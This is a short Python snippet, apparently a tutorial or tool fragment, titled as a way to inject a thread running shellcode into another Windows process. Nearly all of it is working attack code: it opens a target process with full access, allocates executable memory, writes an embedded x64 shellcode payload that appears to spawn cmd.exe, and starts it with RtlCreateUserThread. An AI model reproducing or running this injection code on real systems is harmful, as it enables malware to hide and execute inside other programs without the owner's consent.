Inject a thread running your shellcode into a process

inject.py

def InjectTo(proc_name):
    dwDesiredAccess    = 0x1f0fff # PROCESS_ALL_ACCESS
    dwProcessId        = GetPid(proc_name)
    
    if not dwProcessId:
        debug_print("\t[-] No such process")

    hProcess = kernel32.OpenProcess(dwDesiredAccess, False, dwProcessId)
    if hProcess == 0:
        debug_print("\t[-] Failed to get a handle to : %s" % (proc_name))
        return
    debug_print("\t[*] Handle to %s : 0x%x" % (proc_name, hProcess))
    
    pop_cmd            =  "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64\x2e\x65\x78\x65\x00"

    flProtect          = 0x40 # RWX
    flAllocationType   = 0x1000 # MEM_COMMIT
    kernel32.VirtualAllocEx.restype = c_ulonglong
    pShellcode = kernel32.VirtualAllocEx(hProcess, 0, len(pop_cmd), flAllocationType, flProtect)
    
    kernel32.WriteProcessMemory.restype = BOOL
    kernel32.WriteProcessMemory.argtypes = (HANDLE, c_ulonglong, c_void_p, c_ulonglong, c_void_p)
    kernel32.WriteProcessMemory(hProcess, pShellcode, pop_cmd, len(pop_cmd), 0)
    
    hThread            = HANDLE()
    ntdll.RtlCreateUserThread.argtypes = (HANDLE, c_void_p, BOOL, c_ulonglong, c_void_p, c_void_p, c_ulonglong, c_void_p, LPVOID, c_ulonglong)
    ntdll.RtlCreateUserThread(hProcess, None, 0, 0, 0, 0, pShellcode, 0, byref(hThread), 0)